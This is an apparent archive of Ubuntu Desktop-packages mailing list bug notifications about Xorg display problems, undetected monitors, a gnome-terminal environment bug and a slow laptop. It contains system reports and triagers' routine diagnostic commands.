CasperMD5CheckResult: skip CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 07:37:00 2021 DistUpgraded: Fresh install DistroCodename: groovy DistroVariant: ubuntu DkmsStatus: virtualbox, 6.1.16, 5.8.0-45-generic, x86_64: installed virtualbox, 6.1.16, 5.8.0-48-generic, x86_64: installed ExtraDebuggingInterest: Yes GpuHangFrequency: Continuously GpuHangReproducibility: Yes, I can easily reproduce it GpuHangStarted: Today GraphicsCard: Intel Corporation UHD Graphics [8086:9b41] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] UHD Graphics [1025:1415] InstallationDate: Installed on 2018-06-23 (1023 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card Reader Controller Bus 001 Device 002: ID 04f2:b64f Chicony Electronics Co., Ltd HD User Facing Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Lsusb-t: /: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/6p, 1M /: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/12p, 480M |__ Port 5: Dev 2, If 0, Class=Video, Driver=uvcvideo, 480M |__ Port 5: Dev 2, If 1, Class=Video, Driver=uvcvideo, 480M |__ Port 6: Dev 3, If 0, Class=Vendor Specific Class, Driver=rtsx_usb, 480M MachineType: Acer TravelMate P215-52 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=521f8f0f-da76-44d7-8d98-2b45259ff93c ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) XorgLog: dmi.bios.date: 07/29/2020 dmi.bios.release: 1.20 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.20 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: BassDrum_CM dmi.board.vendor: CML dmi.board.version: V1.20 dmi.chassis.type: 10 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 1.12 dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.20:bd07/29/2020:br1.20:efr1.12:svnAcer:pnTravelMateP215-52:pvrV1.20:rvnCML:rnBassDrum_CM:rvrV1.20:cvnChassisManufacturer:ct10:cvrChassisVersion: dmi.product.family: TravelMate P2 dmi.product.name: TravelMate P215-52 dmi.product.sku: dmi.product.version: V1.20 dmi.sys.vendor: Acer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.10.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.10.1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to:
[Desktop-packages] [Bug 1923381] Re: [Lenovo ThinkPad T450s] regression: no display when waking from suspend
Thanks for the bug report. I can see two immediate problems. The first problem isn't really related to this bug but you should fix it anyway. Your log is being flooded by crashes in 'onedrive'. If you don't need 'onedrive' then consider uninstalling it. The second problem is these messages in your Xorg logs which might be related to this bug: [ 87005.338] [dix] EventToCore: Not implemented yet [ 87131.437] [dix] EventToCore: Not implemented yet [ 87283.009] [dix] EventToCore: Not implemented yet Next we would like to see a system log of the problem happening so please: 1. Reproduce the bug again such that the machine is unresponsive. 2. Wait 30 seconds. 3. Do a "hard reboot". 4. Run: journalctl -b-1 > prevboot.txt 5. Attach the resulting text file here. 6. Follow these instructions to check for crashes: https://wiki.ubuntu.com/Bugs/Responses#Missing_a_crash_report_or_having_a_.crash_attachment ** Summary changed: - regression: no display when waking from suspend + [Lenovo ThinkPad T450s] regression: no display when waking from suspend ** Package changed: xorg (Ubuntu) => xorg-server (Ubuntu) ** Tags added: multimonitor ** Changed in: xorg-server (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923381 Title: [Lenovo ThinkPad T450s] regression: no display when waking from suspend Status in xorg-server package in Ubuntu: Incomplete Bug description: I have two Lenovo T450s laptops running Ubuntu 20.10. A few weeks ago, suspend stopped working properly: with an external monitor, the external monitor no longer registers the connection when waking from suspend. Without, the laptop screen is black and the machine unresponsive until hard-rebooted, when waking from suspend ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.4.0-70.78-generic 5.4.94 Uname: Linux 5.4.0-70-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sun Apr 11 17:53:01 2021 DistUpgraded: 2020-06-01 15:46:34,953 ERROR got error from PostInstallScript ./xorg_fix_proprietary.py (g-exec-error-quark: Failed to execute child process “./xorg_fix_proprietary.py” (No such file or directory) (8)) DistroCodename: focal DistroVariant: ubuntu DkmsStatus: virtualbox, 6.1.16, 5.4.0-66-generic, x86_64: installed virtualbox, 6.1.16, 5.4.0-67-generic, x86_64: installed virtualbox, 6.1.16, 5.4.0-70-generic, x86_64: installed EcryptfsInUse: Yes ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Lenovo HD Graphics 5500 [17aa:5036] InstallationDate: Installed on 2019-01-24 (808 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Release amd64 (20181017.3) MachineType: LENOVO 20BXCTO1WW ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-70-generic root=UUID=a6081f39-700f-4698-bda4-464e53d9d229 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: Upgraded to focal on 2020-06-01 (314 days ago) dmi.bios.date: 09/13/2017 dmi.bios.vendor: LENOVO dmi.bios.version: JBET66WW (1.30 ) dmi.board.asset.tag: Not Available dmi.board.name: 20BXCTO1WW dmi.board.vendor: LENOVO dmi.board.version: SDK0J40697 WIN dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: None dmi.modalias: dmi:bvnLENOVO:bvrJBET66WW(1.30):bd09/13/2017:svnLENOVO:pn20BXCTO1WW:pvrThinkPadT450s:rvnLENOVO:rn20BXCTO1WW:rvrSDK0J40697WIN:cvnLENOVO:ct10:cvrNone: dmi.product.family: ThinkPad T450s dmi.product.name: 20BXCTO1WW dmi.product.sku: LENOVO_MT_20BX_BU_Think_FM_ThinkPad T450s dmi.product.version: ThinkPad T450s dmi.sys.vendor: LENOVO version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/1923381/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe :
[Desktop-packages] [Bug 1923333] Re: Benq G610HDA not being detected
Thanks for the bug report. It appears the Nvidia Xorg driver has not been installed properly so any display plugged into the Nvidia GPU won't be detected. Please try uninstalling and then reinstalling the Nvidia driver using the 'Additional Drivers' app. ** Package changed: xorg (Ubuntu) => nvidia-graphics-drivers-460 (Ubuntu) ** Changed in: nvidia-graphics-drivers-460 (Ubuntu) Status: New => Incomplete ** Description changed: - My monitor Benq G610HDA is not being detected by Ubuntu. Good VGI Cable, + My monitor Benq G610HDA is not being detected by Ubuntu. Good VGA Cable, still Unknown display ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.8.0-48.54~20.04.1-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/gpu0' .proc.driver.nvidia.capabilities.mig: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/mig' .proc.driver.nvidia.gpus..04.00.0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/gpus/:04:00.0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.suspend: suspend hibernate resume .proc.driver.nvidia.suspend_depth: default modeset uvm .proc.driver.nvidia.version: - NVRM version: NVIDIA UNIX x86_64 Kernel Module 460.39 Thu Jan 21 21:54:06 UTC 2021 - GCC version: gcc version 10.2.0 (Ubuntu 10.2.0-5ubuntu1~20.04) + NVRM version: NVIDIA UNIX x86_64 Kernel Module 460.39 Thu Jan 21 21:54:06 UTC 2021 + GCC version: gcc version 10.2.0 (Ubuntu 10.2.0-5ubuntu1~20.04) ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sun Apr 11 13:13:18 2021 DistUpgraded: Fresh install DistroCodename: focal DistroVariant: ubuntu DkmsStatus: - nvidia, 460.39, 5.8.0-45-generic, x86_64: installed (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) - nvidia, 460.39, 5.8.0-48-generic, x86_64: installed - v4l2loopback, 0.12.3, 5.8.0-45-generic, x86_64: installed - v4l2loopback, 0.12.3, 5.8.0-48-generic, x86_64: installed + nvidia, 460.39, 5.8.0-45-generic, x86_64: installed (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) (WARNING! Diff between built and installed module!) + nvidia, 460.39, 5.8.0-48-generic, x86_64: installed + v4l2loopback, 0.12.3, 5.8.0-45-generic, x86_64: installed + v4l2loopback, 0.12.3, 5.8.0-48-generic, x86_64: installed ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: - Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) -Subsystem: ASUSTeK Computer Inc. HD Graphics 5500 [1043:1a7d] -Subsystem: ASUSTeK Computer Inc. GM108M [GeForce 940M] [1043:1a7d] + Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) + Subsystem: ASUSTeK Computer Inc. HD Graphics 5500 [1043:1a7d] + Subsystem: ASUSTeK Computer Inc. GM108M [GeForce 940M] [1043:1a7d] InstallationDate: Installed on 2021-02-08 (61 days ago) InstallationMedia: Ubuntu 20.04.2 LTS "Focal Fossa" - Release amd64 (20210204) MachineType: ASUSTeK COMPUTER INC. X455LB ProcEnviron: - LANGUAGE=en_PH:en - PATH=(custom, no user) - XDG_RUNTIME_DIR= - LANG=en_PH.UTF-8 - SHELL=/bin/zsh + LANGUAGE=en_PH:en + PATH=(custom, no user) + XDG_RUNTIME_DIR= + LANG=en_PH.UTF-8 + SHELL=/bin/zsh ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=def1bb03-4353-441e-b107-29aaf5b72e17 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/03/2015 dmi.bios.release: 5.6 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: X455LB.205 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: X455LB dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrX455LB.205:bd08/03/2015:br5.6:svnASUSTeKCOMPUTERINC.:pnX455LB:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnX455LB:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.family: X dmi.product.name: X455LB dmi.product.sku: ASUS-NotebookSKU dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.nvidia-graphics-drivers:
[Desktop-packages] [Bug 1923318] Re: Ubuntu does not detect video output devices
Please also run these commands: lspci -kv > lspci.txt journalctl -b0 > journal.txt xrandr --verbose > xrandr.txt grep . /sys/class/drm/*/status > kernelconn.txt grep . /sys/class/drm/*/modes > kernelmodes.txt and attach the resulting text files here. ** Package changed: xorg (Ubuntu) => xorg-server (Ubuntu) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg-server in Ubuntu. https://bugs.launchpad.net/bugs/1923318 Title: Ubuntu does not detect video output devices Status in xorg-server package in Ubuntu: Incomplete Bug description: Firstly I'd like to apologize as I am a novice Ubuntu user and I am unsure as to which information I should include within this report. That being said, I have installed linux 20.04-- my system: cpu: ryzen 9 3900x, gpu: radeon rx6800. Ubuntu is detecting default display at correct resolution, which is connected via DisplayPort on rx6800 gpu. However, my second monitor, LGCX 4k OLED connected via HDMI is not detected in display properties window. xrandr does not detect outputs other than default display. I have run apt-get update and apt-get upgrade, restarted, unplugged and plugged displays back in, tried installing amd-gpu drivers separately which were downloaded from official website, i have tried updating kernal, along with many other troubleshooting strategies. I believe this to be some sort of software issue. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/1923318/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1922839] Re: Opening new tab in gnome-terminal launched from nautilus loses most environment variables
It seems the revert for "screen: Use clean env when creating new tab" is already in 3.38.1, and I checked the Ubuntu source package, and the revert is in place. https://gitlab.gnome.org/GNOME/gnome- terminal/-/commit/16bd9f6a4181d37af2769e7ca5a1f9a1211cfaac Interesting. I might try a test build which reverts the revert and see how that goes, since that matches the case on Groovy. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-terminal in Ubuntu. https://bugs.launchpad.net/bugs/1922839 Title: Opening new tab in gnome-terminal launched from nautilus loses most environment variables Status in gnome-terminal package in Ubuntu: New Status in gnome-terminal source package in Hirsute: New Bug description: [Impact] If you launch gnome-terminal by right clicking a directory in Nautilus, selecting "Open in Terminal", you get a fully functional terminal window. If you then press the new tab button, or ctrl-shift-t to open a new terminal tab, you will find that most environment variables have become unset, and you see the text: To run a command as administrator (user "root"), use "sudo ". See "man sudo_root" for details. Comparing printenv between: Normal terminal: https://paste.ubuntu.com/p/2hcCY9hbHQ/ Broken new terminal tab: https://paste.ubuntu.com/p/zYsjRHVJH7/ Most commands won't run in the new terminal tab, due to $HOME and $USER not being set. Note, if you launch gnome-terminal from gnome-shell or the dock, and create a new tab, everything works perfectly. Is something wrong with the Nautilus option for "Open in Terminal"? To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-terminal/+bug/1922839/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923233] Re: Computer is very slow
Thanks for the bug report. I can't see anything broken so can you explain exactly what is slow (and what isn't)? Please also open a Terminal window and run 'top'. How much CPU is used while the computer is slow? ** Package changed: xorg (Ubuntu) => ubuntu ** Changed in: ubuntu Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923233 Title: Computer is very slow Status in Ubuntu: Incomplete Bug description: Lap Top Computer is very slow ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.4.0-70.78-generic 5.4.94 Uname: Linux 5.4.0-70-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 BootLog: [[0;32m OK [0m] Started [0;1;39mManage, Install and Generate Color Profiles[0m. [[0;32m OK [0m] Started [0;1;39mGNOME Display Manager[0m. CasperMD5CheckResult: skip CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None Date: Fri Apr 9 12:49:55 2021 DistUpgraded: 2020-10-01 06:06:52,217 ERROR got error from PostInstallScript ./xorg_fix_proprietary.py (g-exec-error-quark: Falló al ejecutar el proceso hijo «./xorg_fix_proprietary.py» (No existe el archivo o el directorio) (8)) DistroCodename: focal DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Stoney [Radeon R2/R3/R4/R5 Graphics] [1002:98e4] (rev da) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Stoney [Radeon R2/R3/R4/R5 Graphics] [103c:8330] InstallationDate: Installed on 2018-02-18 (1145 days ago) InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) MachineType: HP HP Laptop 15-bw0xx ProcEnviron: LANGUAGE=es_MX:es PATH=(custom, no user) LANG=es_MX.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-70-generic root=UUID=eb8ec2b9-9416-44bb-bd9a-da00109b6198 ro quiet splash SourcePackage: xorg UpgradeStatus: Upgraded to focal on 2020-10-01 (190 days ago) dmi.bios.date: 11/01/2017 dmi.bios.vendor: Insyde dmi.bios.version: F.20 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 8330 dmi.board.vendor: HP dmi.board.version: 27.31 dmi.chassis.asset.tag: Chassis Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.20:bd11/01/2017:svnHP:pnHPLaptop15-bw0xx:pvrType1ProductConfigId:rvnHP:rn8330:rvr27.31:cvnHP:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV HP Notebook dmi.product.name: HP Laptop 15-bw0xx dmi.product.sku: 1GR30LA#ABM dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP version.compiz: compiz 1:0.9.14.1+20.04.20200211-0ubuntu1 version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.6-1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 xserver.bootTime: Tue Nov 20 10:27:42 2018 xserver.configfile: default xserver.errors: AMDGPU(0): drmmode_do_crtc_dpms cannot get last vblank counter xserver.logfile: /var/log/Xorg.0.log xserver.version: 2:1.19.6-1ubuntu4.1~16.04.2 xserver.video_driver: amdgpu To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+bug/1923233/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
